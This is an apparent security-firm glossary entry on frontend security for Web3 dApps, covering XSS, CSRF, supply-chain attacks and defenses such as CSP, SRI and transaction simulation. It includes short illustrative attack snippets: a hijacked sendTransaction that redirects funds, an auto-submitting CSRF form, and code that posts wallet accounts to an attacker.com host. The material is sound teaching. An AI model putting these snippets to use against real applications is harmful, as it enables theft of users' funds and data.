Frontend Security
Security practices protecting web application client-side code from attacks like XSS, CSRF, and malicious script injection.
Frontend security encompasses the practices and techniques used to protect web application client-side code from attacks. In Web3 applications, frontend security is particularly critical because the frontend directly interfaces with user wallets and can initiate blockchain transactions. A compromised dApp frontend can steal funds by manipulating transaction parameters, phishing wallet approvals, or injecting malicious scripts—even if the underlying smart contracts are completely secure.
Why Frontend Security Matters in Web3
The frontend is the trust boundary between users and blockchain:
1User → Frontend → Wallet → Blockchain2 ↑3 Attack surface!
Compromised frontends can:
- Modify transaction recipients/amounts before signing
- Request unlimited token approvals to attacker contracts
- Inject wallet-draining scripts
- Phish private keys or seed phrases
- Display fake transaction confirmations
Core Frontend Security Threats
Cross-Site Scripting (XSS)
Injecting malicious scripts that execute in users' browsers:
1// Attacker's injected script2const originalSend = wallet.sendTransaction;3wallet.sendTransaction = async (tx) => {4 tx.to = "0xATTACKER"; // Redirect funds5 return originalSend(tx);6};
See Cross-Site Scripting for detailed prevention.
Cross-Site Request Forgery (CSRF)
Tricking authenticated users into unwanted actions:
1<!-- On malicious site -->2<form action="https://dapp.com/api/settings" method="POST">3 <input name="withdrawalAddress" value="0xATTACKER">4</form>5<script>document.forms[0].submit();</script>
See CSRF for detailed prevention.
Supply Chain Attacks
Compromised dependencies injecting malicious code:
1// Malicious package in node_modules2if (window.ethereum) {3 // Steal wallet data4 fetch('https://attacker.com/steal', {5 method: 'POST',6 body: JSON.stringify({7 accounts: await ethereum.request({ method: 'eth_accounts' })8 })9 });10}
Prevention Techniques
Content Security Policy (CSP)
Restrict what scripts can execute:
1Content-Security-Policy:2 default-src 'self';3 script-src 'self' 'sha256-abc123...';4 connect-src 'self' https://api.example.com;5 style-src 'self' 'unsafe-inline';
This prevents inline scripts and restricts external resources.
Subresource Integrity (SRI)
Verify external scripts haven't been modified:
1<script2 src="https://cdn.example.com/library.js"3 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"4 crossorigin="anonymous">5</script>
Secure Dependencies
1# Audit npm packages2npm audit34# Use lockfiles5npm ci # Install from lockfile exactly67# Pin versions8"dependencies": {9 "ethers": "5.7.2" # Exact version, not ^5.7.210}
Input Sanitization
1import DOMPurify from 'dompurify';23// Sanitize user content before rendering4function renderUserContent(content: string) {5 return DOMPurify.sanitize(content);6}78// Never use dangerouslySetInnerHTML with unsanitized content
Secure Wallet Integration
1// Verify transaction parameters before signing2async function sendTransaction(tx: Transaction) {3 // Display clear confirmation to user4 const confirmed = await showConfirmationModal({5 to: tx.to,6 value: formatEther(tx.value),7 data: tx.data ? 'Contract interaction' : 'Simple transfer'8 });910 if (!confirmed) throw new Error('User rejected');1112 // Verify parameters haven't been tampered with13 if (tx.to !== expectedRecipient) {14 throw new Error('Recipient mismatch');15 }1617 return wallet.sendTransaction(tx);18}
Web3-Specific Concerns
Token Approval Phishing
1// DANGEROUS: Unlimited approval2await token.approve(spender, ethers.MaxUint256);34// SAFER: Exact amount needed5await token.approve(spender, exactAmount);67// BEST: Display clear warning for large approvals8if (amount > userBalance * 10) {9 const confirmed = await warnUnusualApproval(amount);10 if (!confirmed) return;11}
Transaction Simulation
Preview transactions before signing:
1import { simulateTransaction } from '@tenderly/sdk';23async function safeSign(tx: Transaction) {4 // Simulate first5 const simulation = await simulateTransaction(tx);67 // Show user what will happen8 await displaySimulationResults({9 balanceChanges: simulation.balanceChanges,10 tokenTransfers: simulation.tokenTransfers,11 contractsCalled: simulation.trace12 });1314 // Only then request signature15 return wallet.sendTransaction(tx);16}
Phishing Detection
1// Check for common phishing patterns2function detectPhishing(url: string): boolean {3 const suspicious = [4 /uniswap.*\.com/, // Typosquatting5 /opensea-.*\.xyz/, // Impersonation6 /claim.*airdrop/i // Fake airdrops7 ];89 return suspicious.some(pattern => pattern.test(url));10}
Security Headers
1// Express.js middleware2app.use((req, res, next) => {3 res.setHeader('X-Content-Type-Options', 'nosniff');4 res.setHeader('X-Frame-Options', 'DENY');5 res.setHeader('X-XSS-Protection', '1; mode=block');6 res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');7 res.setHeader('Permissions-Policy', 'geolocation=(), microphone=()');8 next();9});
Audit Checklist
When auditing frontend security:
- Content Security Policy implemented
- No inline scripts or eval()
- User input sanitized before rendering
- CSRF tokens on state-changing requests
- Dependencies audited and pinned
- SRI on external scripts
- Secure headers configured
- Wallet interactions display clear confirmations
- Token approvals capped appropriately
- No sensitive data in localStorage/sessionStorage
Defense in Depth
Frontend security requires layered defenses:
1Layer 1: CSP (block unauthorized scripts)2Layer 2: Input sanitization (neutralize payloads)3Layer 3: Secure headers (prevent various attacks)4Layer 4: Wallet UI (clear transaction display)5Layer 5: Monitoring (detect anomalies)
Even with secure smart contracts, a compromised frontend can drain user funds. Frontend security audits are essential for any production dApp.
Articles Using This Term
Learn more about Frontend Security in these articles:
Related Terms
Cross-Site Scripting (XSS)
A web vulnerability where attackers inject malicious scripts into web applications, enabling theft of user data or unauthorized actions.
Cross-Site Request Forgery (CSRF)
An attack that tricks authenticated users into executing unwanted actions on a web application where they're logged in.
Input Validation
The process of verifying that user-supplied data meets expected formats and constraints before processing, preventing injection attacks and logic errors.
Insecure Direct Object Reference (IDOR)
A vulnerability where applications expose internal object references without proper authorization checks, allowing unauthorized access to data.
Need expert guidance on Frontend Security?
Our team at Zealynx has deep expertise in blockchain security and DeFi protocols. Whether you need an audit or consultation, we're here to help.
Get a Quote

